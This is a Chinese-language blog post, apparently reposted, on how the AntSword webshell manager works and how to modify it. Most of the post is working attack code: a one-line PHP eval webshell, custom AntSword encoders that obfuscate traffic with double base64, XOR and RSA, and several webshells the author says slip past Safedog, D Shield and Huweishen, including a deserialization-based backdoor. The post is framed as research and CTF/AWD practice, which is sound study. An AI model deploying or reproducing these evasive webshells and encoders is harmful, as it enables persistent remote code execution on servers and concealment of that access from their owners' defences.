蟻劍原理與魔改


一句話木馬原理

一句話木馬形如這樣:

<?php @eval($_POST[password]);?>

使用蟻劍連接,連接成功

那為什么能成功呢?
首先要探尋一句話木馬的原理

所以我們post傳入的字符串會以php代碼的形式運行,而php代碼又能調用系統操作所以便成了木馬

蟻劍的原理

知道了一句話木馬的原理,那么我們康康蟻劍的原理,蟻劍用很多功能確實很方便。還支持編碼,垃圾數值,隨機數,自定義編碼解碼器。

首先選擇代理設置,因為這里我們選擇用burpsuite來抓取流量,

蟻劍連接來分析一下流量

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
	return $out;
};
function asoutput(){
$output=ob_get_contents(); //返回輸出緩沖區的內容
ob_end_clean(); //清理(擦除)緩沖區並關閉輸出緩沖
echo "c6b05fd97";
echo @asenc($output);echo "d69e35d304";}
ob_start(); //打開輸出緩沖區
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]); //獲取當前url路由的絕對路徑
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); //當前腳本所在文件系統(非文檔根目錄)的基本路徑
$R="{$D}	";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
}
else{
$R.="/";}$R.="	";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); //獲取目錄,uid,系統信息,用戶等信息

然后我們就大概了解了一下蟻劍的功能,在康康蟻劍是如何獲取數據的

@ini_set("display_errors", "0");
@set_time_limit(0);            //不顯示報錯
function asenc($out){
return $out;
};		                       //用於返回信息
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "a170af01bc";			//用於返回信息,同時加入歲間前綴,對安全狗是一種繞過
echo @asenc($output);
echo "6d341a3c3a";
}
ob_start();					
try{
$F=base64_decode(substr($_POST["hfdce8c1b4e4ef"],2));      //base64解碼post傳入的另一個數據
$P=@fopen($F,"r");										// 進行讀取文件的操作
echo(@fread($P,filesize($F)?filesize($F):4096));
@fclose($P);;
}
catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();   //報錯信息

原理還是很好理解的,但是不明白為什么要令外post一個數據再進去文件內的傳遞,難道是面對對象編寫的原因,還是令有好處,但是如果整體個人覺得更容易混淆流量,不過問題不大,后面還要編碼更多的參數,才能繞過安全🐕

編碼器原理

蟻劍自帶變量,支持我們自定義編碼和加密方式來混淆傳入的主變量(不知道叫啥名字就就是連接密碼的那個變量)的參數

/**
 * php::base64編碼器
 * Create at: 2020/11/21 15:21:10
 */

'use strict';

/*
* @param  {String} pwd   連接密碼
* @param  {Array}  data  編碼器處理前的 payload 數組
* @return {Array}  data  編碼器處理后的 payload 數組
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    請在下方編寫你自己的代碼   ###################
  // 以下代碼為 PHP Base64 樣例

  // 生成一個隨機變量名
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data['_']中
  // 取出來之后,轉為 base64 編碼並放入 randomID key 下
  data[randomID] = Buffer.from(data['_']).toString('base64');

  // shell 在接收到 payload 后,先處理 pwd 參數下的內容,
  data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;

  // ##########    請在上方編寫你自己的代碼   ###################

  // 刪除 _ 原有的payload
  delete data['_'];
  // 返回編碼器處理后的 payload 數組
  return data;
}

代碼作者已經給了注釋很好理解,然后我們就可以開心的構造自己的編碼方式來繞過安全狗了。

免殺小例子

這里給了例子吧。直接使用雙層base64,我丟盡然還能免殺(后來測試發現),學長聊天說雙base64能過🐕,我起初不信,嘗試了一下,發現不行。寫這篇文章的時候嘗試一下還是不行,然后發現是因為我的webshell沒有做免殺處理,被🐕直接給掃出來,然后就不管你的流量了直接殺,wogiao!牛皮!!
雙base64蟻劍編碼器

/**
 * php::base64編碼器
 * Create at: 2020/11/21 15:21:10
 */

'use strict';

/*
* @param  {String} pwd   連接密碼
* @param  {Array}  data  編碼器處理前的 payload 數組
* @return {Array}  data  編碼器處理后的 payload 數組
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    請在下方編寫你自己的代碼   ###################
  // 以下代碼為 PHP Base64 樣例

  // 生成一個隨機變量名
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data['_']中
  // 取出來之后,轉為 base64 編碼並放入 randomID key 下
  data['_'] = Buffer.from(data['_']).toString('base64');

  // shell 在接收到 payload 后,先處理 pwd 參數下的內容,
  //data[pwd] = `${data['_']}"));`;
  data[pwd] = Buffer.from(data['_']).toString('base64');

  // ##########    請在上方編寫你自己的代碼   ###################

  // 刪除 _ 原有的payload
  delete data['_'];
  // 返回編碼器處理后的 payload 數組
  return data;
}

免殺的webshell

<?php 
header('HTTP/1.1 404');
class COMI { 
    public $c='';
    function __destruct() {
        return eval(substr($this->c, 0));
    }
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['password'];
$post = &$password;
$post=base64_decode(base64_decode($post));
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>

webshell是能夠免殺安全🐕和D盾和護衛神的,其他的沒測試

xor_random_base64免殺

編碼器:

/**
 * php::base64編碼器
 * Create at: 2020/11/19 21:20:31
 *lnng.top
 */

'use strict';


module.exports = (pwd, data, ext = {}) => {
  let randomID = `x${Math.random().toString(16).substr(2)}`;

  function xor(payload) {
    let crypto = require('crypto');
    let key = crypto.createHash('md5').update(randomID).digest('hex').substr(6);
    ext.opts.httpConf.headers['Cookie'] = 'PHPSESSID=' + key;
    key = key.split("").map(t => t.charCodeAt(0));
    //let payload="phpinfo();";
    let cipher = payload.split("").map(t => t.charCodeAt(0));
    for (let i = 0; i < cipher.length; i++) {
      cipher[i] = cipher[i] ^ key[i % 26]
    }
    cipher = cipher.map(t => String.fromCharCode(t)).join("")
    cipher = Buffer.from(cipher).toString('base64');
    //console.log(cipher)
    return cipher;
  }

  data['_'] = Buffer.from(data['_']).toString('base64');
  
  // 生成一個隨機變量名
  let num =  Math.floor(Math.random()*15);
  let randomStr = `${Math.random().toString(16).substr(num)}`;
  //data['password'] = 15-num;
  
  //data[pwd] = `eval(base64_decode("${data['_']}"));`;
  //data[pwd]=xor(data[pwd]);
  //data[pwd] = `${randomStr}` + data[pwd] + `${randomStr}`;
  
  let ret = {};
  for (let _ in data) {
    if (_ === '_') { continue };
    //if (_ === 'num') { continue };
    //if (_ === 'password') { continue };
    ret[_] = Buffer.from(data[_]).toString('hex');
    //ret[_] = Buffer.from(data[_]);
  }
  //ret[password] = data['password'].toString('hex');
  ret['password'] = 15-num;
  ret[pwd] = `eval(base64_decode("${data['_']}"));`;
  ret[pwd] = xor(ret[pwd]);
  ret[pwd] = `${randomStr}` + ret[pwd] + `${randomStr}`
  //ret[pwd] = ret[pwd].toString('hex');
  return ret;
  //刪除原有payload
  //delete data['_'];
 //返回編碼器處理后的payload數組
  //return data;
}

免殺的webshell(密碼username)

<?php
header('HTTP/1.1 404');
class Cookie{
    function __construct(){
        $password = &$password1;
        $password1 = $_REQUEST['password'];
        $num = &$password;
        $num = $_REQUEST['password'];
        if(is_numeric($num)){
        $post=base64_decode(substr(@$_REQUEST['username'],$num,-$num));
        }
        return $post;
    }
    function decode(){
        $key=$_COOKIE['PHPSESSID'];
        $post = $this->__construct();
        for($i=0;$i<strlen($post);$i++){
            $k = $i%26;
            $s = $post[$i];
            $post[$i] = $s ^ $key[$k];  
        }
        return $post;
    }
    function __destruct(){
        foreach($_POST as $k => $v){
            if ($k!='password'&&$k!='username') {
                $b = &$a;
                $a = $v;
                $c = &$b;
                $_POST[$k]=hex2bin($c);
            }
        }
        $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
        $lnng1 = &$lnng;
        $lnng = $this->decode();
        $lnng2 = $lnng1;
        return @$a(`/**123**/`.$lnng2.`/**123**/`);
    }
}
$check=new Cookie();
?>

反序列化免殺(這里和蟻劍沒關系)

寫的非常簡單,自己只是測試着玩,可以寫的更加完善,主要是思路
接近有漏洞的代碼就可以免殺(個人理解,請大佬指教)
客戶端webshell

<?php
class Lnng{
	var $lnng;
	function __destruct(){
		$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
		@$a($this->lnng);
	}

}
$lnng = unserialize($_POST['lnng']);
?>

服務端自己寫了一個php頁面非常的簡陋,菜哭了我

<!DOCTYPE html>
<html>
<head>
	<title>php序列化webshell</title>
</head>
<body>
	<form method="post" action="">
	<p>請輸出url,例如http://192.168.124.141/12.php</p>
 	<input type="text" name="ip" style="width:400px; height:30px;" value="<?php if(isset($_POST['ip'])){echo $_POST['ip'];}?>" />
 	<br>
 	<p>請輸出命令,內部命令執行方式assert(你輸入的值)</p>
 	<input type="text" name="command" style="width:400px; height:30px;" value="<?php if(isset($_POST['command'])){echo $_POST['command'];}?>"/>
  	<input type="submit" value="提交" />
	</form>
</body>
</html>
<?php
//header("Content-Type:text/html;charset=gb2312");
class Lnng{
	var $lnng;
	function __destruct(){
		$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
		//@$a($this->lnng);
	}
}
$lnng = new Lnng();
@$lnng->lnng = $_POST['command'];
//echo $_POST['command'];
$lnng = serialize($lnng);
@$ip = $_POST['ip'];
//echo $ip;
$data = array('lnng'=>$lnng);
$requestBody = http_build_query($data);
$context = stream_context_create(['http' => ['method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n"."Content-Length: " . mb_strlen($requestBody), 'content' => $requestBody]]);
@$response = file_get_contents($ip, false, $context);
echo iconv("GB2312","UTF-8",$response);
//echo $response;
?>


解碼器原理

/**
 * php::base64解碼器
 * Create at: 2020/11/21 17:15:24
 */

'use strict';

module.exports = {
  /**
   * @returns {string} asenc 將返回數據base64編碼
   * 自定義輸出函數名稱必須為 asenc
   * 該函數使用的語法需要和shell保持一致
   */
  asoutput: () => {
    return `function asenc($out){
      return @base64_encode($out);
    }
    `.replace(/\n\s+/g, '');
  },
  /**
   * 解碼 Buffer
   * @param {string} data 要被解碼的 Buffer
   * @returns {string} 解碼后的 Buffer
   */
  decode_buff: (data, ext={}) => {
    return Buffer.from(data.toString(), 'base64');
  }
}

官方注釋很清楚這里就不弄了,而且我覺得蟻劍自帶的base64啥的解碼器完全夠用,流量的混淆根本沒法猜,有隨機的前綴后綴是你所傳參的時候傳過去的,所有我沒整就過🐕了。

蟻劍RSA

RSA一種基於密碼學的非對稱加密來混淆流量的方法,先用私鑰對要加密的東西進行加密,然后用公鑰解密,所以我們把公鑰放入webshell里面,就可實現對流量的混淆
RSA的原理利用的是數論中的mod運算,不可破解的原因就是一個大數不易分解為兩個素數的乘積,所以便可實現加解密。

同樣的RSA混淆流量對CTF的AWD模式也有好處,就是別人沒法通過查看自己的webshell,來連接其他的人webshell,因為你如果能打下來不可能只種一個webshell
參考:先知社區_從0到1掌握AWD攻防之RSA必殺

蟻劍的RSA使用方式很簡單
使用前提,目標要php開啟ssl,這個也是這個加密方法的缺陷,不開啟沒法調用解密函數

開啟openssl方法
打開iphp.ini
搜索extension=php_openssl.dll,把前面的分號取消,然后重啟web服務
在編碼器的位置

然后創建一個

然后將這個位置的webshell上傳,寫入啥的弄到目標

然后連接的時候選擇你創建的編碼器就好了,測試了一下,安全🐕和護衛神不攔截,D盾可以掃描出來但是危險等級不高。
對於AWDctf利用蟻劍作者針對RSA也加了一個方法
在RSA編碼器的位置加入下面代碼,什么作用呢,在awd中別人抓取你的webshell讀取flag流量進行轉發到其他服務器中也可以獲得flag,所以這里設置時效為5秒,可以設置更短。

data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;

參考文章及說明

蟻劍改造過WAF系列

蟻劍改造計划

學蟻致用
最后歡迎訪問我的個人博客:https://lnng.top/
說明:本文僅限技術研究與討論,嚴禁用於非法用途,否則產生的一切后果自行承擔


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM